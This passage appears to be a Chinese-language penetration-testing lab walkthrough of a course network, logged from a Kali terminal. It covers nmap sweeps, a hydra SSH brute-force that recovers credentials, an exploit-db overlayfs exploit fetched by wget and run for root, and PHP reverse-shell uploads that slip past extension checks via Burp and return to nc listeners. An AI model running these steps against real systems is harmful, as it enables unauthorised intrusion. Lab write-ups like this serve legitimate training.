49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Nmap scan report for 172.16.1.112
Host is up (0.036s latency).
Not shown: 96 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Nmap scan report for 172.16.1.120
Host is up (0.035s latency).
Not shown: 92 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
110/tcp open pop3
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
8081/tcp open blackice-icecap
Nmap scan report for market.itop.com.tw (172.16.1.134)
Host is up (0.035s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap scan report for hr.itop.com.tw (172.16.1.153)
Host is up (0.035s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 172.16.1.157
Host is up (0.025s latency).
Not shown: 97 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp closed https
Nmap scan report for 172.16.1.191
Host is up (0.037s latency).
Not shown: 95 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8888/tcp open sun-answerbook
Nmap scan report for wpress.itop.com.tw (172.16.1.222)
Host is up (0.038s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 172.16.3.124
Host is up (0.034s latency).
Not shown: 95 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap scan report for 172.16.3.125
Host is up (0.037s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Nmap scan report for 172.16.3.126
Host is up (0.035s latency).
Not shown: 98 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap scan report for 172.16.3.128
Host is up (0.033s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
Nmap scan report for 172.16.5.1
Host is up (0.033s latency).
Not shown: 94 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Nmap scan report for 172.16.19.2
Host is up (0.034s latency).
Not shown: 91 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5357/tcp open wsdapi
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
Nmap scan report for 172.16.19.9
Host is up (0.035s latency).
Not shown: 90 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Nmap scan report for 172.16.20.3
Host is up (0.034s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 172.16.20.6
Host is up (0.035s latency).
Not shown: 98 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap scan report for 172.16.20.7
Host is up (0.036s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 5120 IP addresses (21 hosts up) scanned in 51.91 seconds
打打看其中一個:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -p- 172.16.3.128
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 22:22 EDT
Nmap scan report for 172.16.3.128
Host is up (0.059s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 30.61 seconds
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -p22 172.16.3.128 -sC -sV -O -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 22:29 EDT
Nmap scan report for 172.16.3.128
Host is up (0.020s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 ce8eb17409f0e9ac520810f2d82eb6e0 (DSA)
| 2048 a2c1d9a1e1f7302eae85cb050c3559ed (RSA)
| 256 0d8658bbfb1c322e0d70f95cf1e13eca (ECDSA)
|_ 256 b6e04ffd17be8f891da29a0cfe45a3ef (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2.0 (94%), Linux 3.11 - 4.1 (94%), Linux 4.4 (94%), Linux 3.10 - 3.16 (93%), Linux 3.16 (93%), Linux 3.13 (91%), Linux 3.18 (90%), Linux 3.10 - 3.12 (89%), Linux 3.10 - 4.11 (89%), Linux 3.12 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 62.84 ms 192.168.200.1
2 11.76 ms 172.16.3.128
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.95 seconds
只有ssh有開,hydra爆帳密給它死:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# hydra -l jason -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt ssh://172.16.3.128
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-17 22:31:38
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1000000 login tries (l:1/p:1000000), ~62500 tries per task
[DATA] attacking ssh://172.16.3.128:22/
[STATUS] 82.00 tries/min, 82 tries in 00:01h, 999921 to do in 203:15h, 13 active
[STATUS] 92.00 tries/min, 276 tries in 00:03h, 999727 to do in 181:07h, 13 active
[22][ssh] host: 172.16.3.128 login: jason password: apollo
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 9 final worker threads did not complete until end.
[ERROR] 9 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-17 22:37:17
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# ssh jason@172.16.3.128
jason@172.16.3.128's password:
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64)
* Documentation: https://help.ubuntu.com/
775 packages can be updated.
483 updates are security updates.
Last login: Sat Oct 29 16:20:08 2022 from 192.168.200.15
jason@Ubuntu14:~$
順利get shell後,當然是看看能不能提權,所以要把枚舉工具送進去:
┌──(root㉿kali)-[~]
└─# cd /home/kali
┌──(root㉿kali)-[/home/kali]
└─# ls -al
total 1040
drwxr-xr-x 22 kali kali 4096 Mar 17 21:29 .
drwxr-xr-x 4 root root 4096 Jan 15 00:59 ..
-rw-r--r-- 1 kali kali 220 Aug 8 2022 .bash_logout
-rw-r--r-- 1 kali kali 5551 Aug 8 2022 .bashrc
-rw-r--r-- 1 kali kali 3526 Aug 8 2022 .bashrc.original
drwx------ 6 kali kali 4096 Feb 19 07:36 .BurpSuite
drwxr-xr-x 10 kali kali 4096 Feb 19 04:23 .cache
drwxr-xr-x 15 kali kali 4096 Feb 27 06:51 .config
-rw-r--r-- 1 kali kali 13176 Mar 12 04:32 cve-2017-16995.c
-rw-r--r-- 1 kali kali 4715 Mar 11 03:16 cyberlab.ovpn
drwxr-xr-x 2 kali kali 4096 Dec 10 01:17 Desktop
-rw-r--r-- 1 kali kali 35 Nov 7 06:23 .dmrc
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Documents
drwxr-xr-x 2 kali kali 4096 Mar 11 03:17 Downloads
-rw-r--r-- 1 kali kali 11759 Aug 8 2022 .face
lrwxrwxrwx 1 kali kali 5 Aug 8 2022 .face.icon -> .face
drwx------ 3 kali kali 4096 Nov 7 06:23 .gnupg
-rw------- 1 kali kali 0 Nov 7 06:23 .ICEauthority
drwxr-xr-x 4 kali kali 4096 Feb 19 05:32 .java
-rw-r--r-- 1 kali kali 46631 Mar 12 04:03 LinEnum.sh
-rw-r--r-- 1 root root 776167 Apr 17 2022 linpeas.sh
drwx------ 3 kali kali 4096 Nov 7 06:23 .local
drwx------ 5 kali kali 4096 Nov 13 02:21 .mozilla
drwxr-xr-x 10 kali kali 4096 Feb 26 07:08 .msf4
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Music
-rw------- 1 kali kali 103 Dec 10 22:12 .mysql_history
drwxr-xr-x 2 kali kali 4096 Feb 26 06:43 Pictures
-rw-r--r-- 1 kali kali 807 Aug 8 2022 .profile
drwxr-xr-x 2 root root 4096 Mar 17 22:36 PT_day3
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Public
drwx------ 2 kali kali 4096 Jan 15 01:42 .ssh
-rw-r--r-- 1 kali kali 0 Nov 13 05:38 .sudo_as_admin_successful
drwxr-xr-x 5 kali kali 4096 Dec 31 01:50 target_machine
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Templates
-rw-r----- 1 kali kali 4 Mar 17 20:27 .vboxclient-clipboard.pid
-rw-r----- 1 kali kali 5 Mar 17 20:27 .vboxclient-display-svga-x11.pid
-rw-r----- 1 kali kali 4 Mar 17 20:27 .vboxclient-draganddrop.pid
-rw-r----- 1 kali kali 4 Mar 17 20:27 .vboxclient-seamless.pid
-rw-r----- 1 kali kali 4 Mar 17 20:27 .vboxclient-vmsvga-session-tty7.pid
drwxr-xr-x 2 kali kali 4096 Nov 7 06:23 Videos
-rw------- 1 kali kali 1988 Dec 10 00:41 .viminfo
drwxr-xr-x 2 kali kali 4096 Nov 13 02:19 vulnOSv2
-rw-r--r-- 1 kali kali 180 Mar 12 04:03 .wget-hsts
-rw------- 1 kali kali 299 Mar 17 21:29 .Xauthority
-rw------- 1 kali kali 8473 Mar 17 21:10 .xsession-errors
-rw------- 1 kali kali 8520 Mar 12 03:50 .xsession-errors.old
-rw------- 1 kali kali 8644 Mar 12 04:46 .zsh_history
-rw-r--r-- 1 kali kali 10877 Aug 8 2022 .zshrc
┌──(root㉿kali)-[/home/kali]
└─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.16.3.128 - - [17/Mar/2023 22:42:02] "GET /linpeas.sh HTTP/1.1" 200 -
移到tmp資料夾,才准許寫入:(linpeas的結果太長,所以不貼)
總之有CVE-2015-8660 overlayfs。
上exploit-db查一下:
看看下面紅圈,應該很類似現在這一台靶機的環境:
可以用下圖方式下載poc:
也可以利用EDB-ID在本機找:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# searchsploit -m 37292
Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/37292
Path: /usr/share/exploitdb/exploits/linux/local/37292.c
Codes: CVE-2015-1328
Verified: True
File Type: C source, ASCII text, with very long lines (466)
Copied to: /home/kali/PT_day3/37292.c
同樣的在poc所在資料夾開簡易server:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
讓靶機下載腳本:
jason@Ubuntu14:/tmp$ wget http://192.168.200.7/37292.c
--2022-10-29 21:49:39-- http://192.168.200.7/37292.c
Connecting to 192.168.200.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4968 (4.9K) [text/x-csrc]
Saving to: ‘37292.c’
100%[======================================================>] 4,968 --.-K/s in 0.008s
2022-10-29 21:49:39 (594 KB/s) - ‘37292.c’ saved [4968/4968]
jason@Ubuntu14:/tmp$ gcc 37292.c -o ofs
jason@Ubuntu14:/tmp$ ls -l
total 984
-rw-rw-r-- 1 jason jason 4968 3月 18 2023 37292.c
-rwxrwxr-x 1 jason jason 776167 4月 17 2022 linpeas.sh
-rw-rw-r-- 1 jason jason 197924 10月 29 21:20 linpeas.txt
-rwxrwxr-x 1 jason jason 13644 10月 29 21:50 ofs
drwx------ 2 apollo apollo 4096 12月 15 2021 ssh-p8kd9p9WZt8t
-rw-rw-r-- 1 apollo apollo 0 12月 15 2021 unity_support_test.1
jason@Ubuntu14:/tmp$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
也可以試試scp來下載檔案。剛剛的兩台機器也應該有一樣的弱點,但如果直接把172.16.3.128
的ofs執行檔給複製過去,會發現沒法用,因為CPU不同。
起手式nmap:
┌──(kali㉿kali)-[~]
└─$ sudo -i
[sudo] password for kali:
┌──(root㉿kali)-[~]
└─# nmap -p- 172.16.1.134
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 20:34 EDT
Nmap scan report for market.itop.com.tw (172.16.1.134)
Host is up (0.064s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 29.74 seconds
┌──(root㉿kali)-[~]
└─# nmap -p- 172.16.1.153
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 20:36 EDT
Nmap scan report for hr.itop.com.tw (172.16.1.153)
Host is up (0.054s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 30.64 seconds
┌──(root㉿kali)-[~]
└─# nmap -p80 -sC -sV -O -A 172.16.1.134 172.16.1.153
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 20:37 EDT
Nmap scan report for market.itop.com.tw (172.16.1.134)
Host is up (0.025s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Maket web Site
|_http-server-header: Apache/2.4.7 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2.0 (94%), Linux 3.11 - 4.1 (94%), Linux 4.4 (94%), Linux 3.10 - 3.16 (93%), Linux 3.16 (93%), Linux 3.13 (91%), Linux 3.18 (90%), Linux 4.0 (90%), Linux 3.10 - 3.12 (89%), Linux 3.10 - 4.11 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 61.38 ms 192.168.200.1
2 11.42 ms market.itop.com.tw (172.16.1.134)
Nmap scan report for hr.itop.com.tw (172.16.1.153)
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Ice Hrm Login
|_Requested resource was http://hr.itop.com.tw/app/login.php
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2.0 (94%), Linux 3.11 - 4.1 (94%), Linux 4.4 (94%), Linux 3.10 - 3.16 (93%), Linux 3.16 (92%), Linux 3.13 (90%), Linux 3.10 - 4.11 (89%), Linux 3.12 (89%), Linux 3.13 or 4.2 (89%), Linux 3.16 - 4.6 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
- Hop 1 is the same as for 172.16.1.134
2 61.44 ms hr.itop.com.tw (172.16.1.153)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 12.77 seconds
發現有網址,所以需要改一下ip的對照表:
┌──(root㉿kali)-[~]
└─# vim /etc/hosts
要新增如下圖紅線:
這樣才能連的到:
用admin/admin登入:
這個cms是可以提供上傳頭像,所以先找找reverse shell的php:
┌──(root㉿kali)-[~]
└─# cd /home/kali/PT_day3
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# ls -al
total 52
drwxr-xr-x 2 root root 4096 Mar 12 03:25 .
drwxr-xr-x 22 kali kali 4096 Mar 17 20:31 ..
-rw-r--r-- 1 root root 5036 Mar 11 23:59 42558-1.py
-rwxr-xr-x 1 root root 4925 Mar 11 23:54 42558.py
-rwxr-xr-x 1 root root 3680 Mar 11 23:08 44156.py
-rwxr-xr-x 1 root root 1836 Mar 12 01:37 50477.py
-rwxr-xr-x 1 root root 5495 Feb 27 06:38 bbb_reverse.php
-rwxr-xr-x 1 root root 996 Mar 11 21:03 freeswitch.py
-rwxr-xr-x 1 root root 5495 Mar 12 03:21 php-reverse-shell.jpg
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# cp /usr/share/webshells/php/php-reverse-shell.php .
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# ls -al
total 60
drwxr-xr-x 2 root root 4096 Mar 17 20:58 .
drwxr-xr-x 22 kali kali 4096 Mar 17 20:31 ..
-rw-r--r-- 1 root root 5036 Mar 11 23:59 42558-1.py
-rwxr-xr-x 1 root root 4925 Mar 11 23:54 42558.py
-rwxr-xr-x 1 root root 3680 Mar 11 23:08 44156.py
-rwxr-xr-x 1 root root 1836 Mar 12 01:37 50477.py
-rwxr-xr-x 1 root root 5495 Feb 27 06:38 bbb_reverse.php
-rwxr-xr-x 1 root root 996 Mar 11 21:03 freeswitch.py
-rwxr-xr-x 1 root root 5495 Mar 12 03:21 php-reverse-shell.jpg
-rwxr-xr-x 1 root root 5496 Mar 17 20:58 php-reverse-shell.php
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# mv php-reverse-shell.php ccc_reverse.php
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# vim ccc_reverse.php
aaa注意一下現在我們的IP:
改一下:
到下圖上傳:
注意先改一下附檔名:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# mv ccc_reverse.php ccc_reverse.jpg
並開啟攔截:
上傳:
等上傳時,把攔截到的檔案的副檔名改掉:
依下圖順序操作:
再切到以下畫面,上傳後的位址在下圖紅線處:
記得,觸發前要先監聽:
┌──(root㉿kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
網址列打上後按Enter觸發:
成功反彈:
┌──(root㉿kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.200.7] from (UNKNOWN) [172.16.1.153] 44256
Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
09:29:27 up 6:33, 2 users, load average: 0.13, 0.14, 0.09
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
jason :0 :0 17Apr21 ?xdm? 34:31 0.11s init --user
jason pts/12 :0 17Apr21 249days 0.10s 1.38s gnome-terminal
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
穩定shell:
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/$ gcc -v
gcc -v
The program 'gcc' is currently not installed. To run 'gcc' please ask your administrator to install the package 'gcc'
這一台沒用,沒有gcc,再去打打看134。
既然是網頁,那就看看它藏了什麼目錄:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nikto -host http://172.16.1.134
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.16.1.134
+ Target Hostname: 172.16.1.134
+ Target Port: 80
+ Start Time: 2023-03-17 21:44:41 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2cf6, size: 597701736c404, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7923 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2023-03-17 21:47:29 (GMT-4) (168 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# dirb http://172.16.1.134
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Mar 17 21:48:55 2023
URL_BASE: http://172.16.1.134/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.1.134/ ----
+ http://172.16.1.134/index.html (CODE:200|SIZE:11510)
+ http://172.16.1.134/server-status (CODE:403|SIZE:292)
-----------------
END_TIME: Fri Mar 17 21:49:51 2023
DOWNLOADED: 4612 - FOUND: 2
同樣的也要改一下表,這樣才連的上去:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# vim /etc/hosts
要改的如下紅圈處:
連上以後也沒什麼東西:
所以一樣暴力破解:
┌──(root㉿kali)-[~]
└─# dirb http://market.itop.com.tw
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Feb 27 00:41:28 2023
URL_BASE: http://market.itop.com.tw/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://market.itop.com.tw/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/
+ http://market.itop.com.tw/index.html (CODE:200|SIZE:141)
+ http://market.itop.com.tw/server-status (CODE:403|SIZE:298)
---- Entering directory: http://market.itop.com.tw/admin/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/
+ http://market.itop.com.tw/admin/index.html (CODE:200|SIZE:141)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/
+ http://market.itop.com.tw/admin/fckeditor/index.html (CODE:200|SIZE:141)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/ ----
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/_source/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/css/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/dialog/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/filemanager/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/images/
+ http://market.itop.com.tw/admin/fckeditor/editor/index.html (CODE:200|SIZE:141)
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/js/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/lang/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/plugins/
==> DIRECTORY: http://market.itop.com.tw/admin/fckeditor/editor/skins/
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/_source/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/dialog/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/filemanager/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/lang/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/plugins/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://market.itop.com.tw/admin/fckeditor/editor/skins/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Mon Feb 27 00:48:38 2023
DOWNLOADED: 18448 - FOUND: 5
查到有一個上傳用的頁面,依照下圖數字順序操作:
開啟burp suite來攔截:
aaa先把剛剛用過的jpg改回php:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# mv ccc_reverse.jpg ccc_reverse.php
上傳:
aaa這一次不用特別改什麼,就上傳就好:
觸發前當然要先監聽:
┌──(root㉿kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
正式觸發:
成功反彈:
┌──(root㉿kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.200.7] from (UNKNOWN) [172.16.1.134] 59482
Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
10:13:15 up 1 day, 2:10, 2 users, load average: 0.12, 0.09, 0.04
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
jason :0 :0 16Apr21 ?xdm? 1:03m 0.10s init --user
jason pts/0 :0 15Dec21 457days 0.04s 0.04s bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
但一樣沒有gcc:
$ gcc
/bin/sh: 1: gcc: not found
所以這一次開始大規模的掃:
┌──(root㉿kali)-[/home/kali/PT_day3]
└─# nmap -F 172.16.1-20.*
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 22:20 EDT
Nmap scan report for 172.16.1.51
Host is up (0.026s latency).
Not shown: 89 filtered tcp ports (no-response), 8 filtered tcp ports (host-prohibited)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Nmap scan report for 172.16.1.67
Host is up (0.037s latency).
All 100 scanned ports on 172.16.1.67 are in ignored states.
Not shown: 100 closed tcp ports (reset)
Nmap scan report for 172.16.1.87
Host is up (0.042s latency).
Not shown: 90 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Nmap scan report for 172.16.1.105
Host is up (0.037s latency).
Not shown: 88 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
5060/tcp open sip
8081/tcp open blackice-icecap
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Nmap scan report for 172.16.1.112
Host is up (0.036s latency).
Not shown: 96 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Nmap scan report for 172.16.1.120
Host is up (0.035s latency).
Not shown: 92 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
110/tcp open pop3
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
8081/tcp open blackice-icecap
Nmap scan report for market.itop.com.tw (172.16.1.134)
Host is up (0.035s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap scan report for hr.itop.com.tw (172.16.1.153)
Host is up (0.035s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 172.16.1.157
Host is up (0.025s latency).
Not shown: 97 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp closed https
Nmap scan report for 172.16.1.191
Host is up (0.037s latency).
Not shown: 95 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8888/tcp open sun-answerbook
Nmap scan report for wpress.itop.com.tw (172.16.1.222)
Host is up (0.038s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap scan report for 172.16.3.124
Host is up (0.034s latency).
Not shown: 95 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap scan report for 172.16.3.125
Host is up (0.037s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Nmap scan report for 172.16.3.126
Host is up (0.035s latency).
Not shown: 98 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap scan report for 172.16.3.128
Host is up (0.033s latency).
Not shown: 99 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
Nmap scan report for 172.16.5.1
Host is up (0.033s latency).
